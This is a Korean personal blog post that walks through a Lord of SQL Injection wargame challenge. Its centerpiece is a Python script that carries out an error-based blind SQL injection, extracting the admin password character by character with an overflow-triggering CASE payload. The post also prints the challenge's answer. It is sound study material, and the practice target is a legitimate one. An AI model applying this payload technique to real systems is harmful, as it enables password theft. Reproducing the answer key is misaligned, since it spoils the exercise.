Today I Learned …
[Lord of SQL Injection] 28번 frankenstein 풀이 본문
* 개인적인 공부 내용을 기록한 글입니다.
사담
와 진짜 처음부터 끝까지 분노 유발한 문제다 ㅋㅋㅋㅋㅋㅋ
하... 아직도 끝부분이 좀 미제라 맑은 정신에서 다시 봐야할 것 같다...
이전 문제
https://choco4study.tistory.com/120
28번 문제 frankenstein 분석 및 풀이
28번 문제는 다음과 같다.
자세한 설명은 다음에 추가...
[중요!] like 뒷부분의 %를 URL 인코딩한 값인 %25로 적어주어야한다.
LoS 28번 Python Script
import requests
url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php"
cookie = {"PHPSESSID":"2evml88c628kabc2j1vfk63ks9"}
print("🖤 Start SQLi...")
ans = ""
end = False
for i in range(1, 100):
if(end==True):
print(f">> There's No Letter {i}")
break
end = True
print(f"🖤 Checking letter {i}...")
for asc in range(48, 127):
search = ans+chr(asc)
payload = f"?pw=' || CASE WHEN id='admin' and pw like '{search}%25' THEN 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFFF ELSE 0 END %23"
res = requests.get(url+payload, cookies=cookie)
if("login_chk" in res.text):
continue
elif("error" in res.text):
print(f">> Letter {i} → {chr(asc)}")
ans+=chr(asc)
end = False
break
print(f"🖤 Answer : {ans}")
Result
근데 여기서 끝이 아니었다.
자동화 공격 결과 분명 답은 숫자와 알파벳 대문자의 조합으로 나왔건만...
ㅋ ㅋ ㅋ ㅋ 아무리 넣어봐도 안 풀렸다;
당황해서 다른 블로그 글을 찾아봤더니 답은 0dc4efbb 였다.
이 부분은 아직도 이해가 안가서 내일 다시 봐야할 것 같다.
왜 아스키로 검색했는데 대소문자가 반대로 나오는지... 정말 의문이다 하 ㅠ
뭐 어쨌든 찾은 답을 넣어보면,
28번이 풀린다.
'Wargame > Lord of SQL Injection' 카테고리의 다른 글
[Lord of SQL Injection] 30번 ouroboros 풀이 (0) | 2022.01.02 |
---|---|
[Lord of SQL Injection] 29번 phantom 풀이 (0) | 2021.12.30 |
[Lord of SQL Injection] 27번 blue_dragon 풀이 (0) | 2021.12.23 |
[Lord of SQL Injection] 26번 red_dragon 풀이 (0) | 2021.12.22 |
[Lord of SQL Injection] 25번 green_dragon 풀이 (0) | 2021.12.19 |
Comments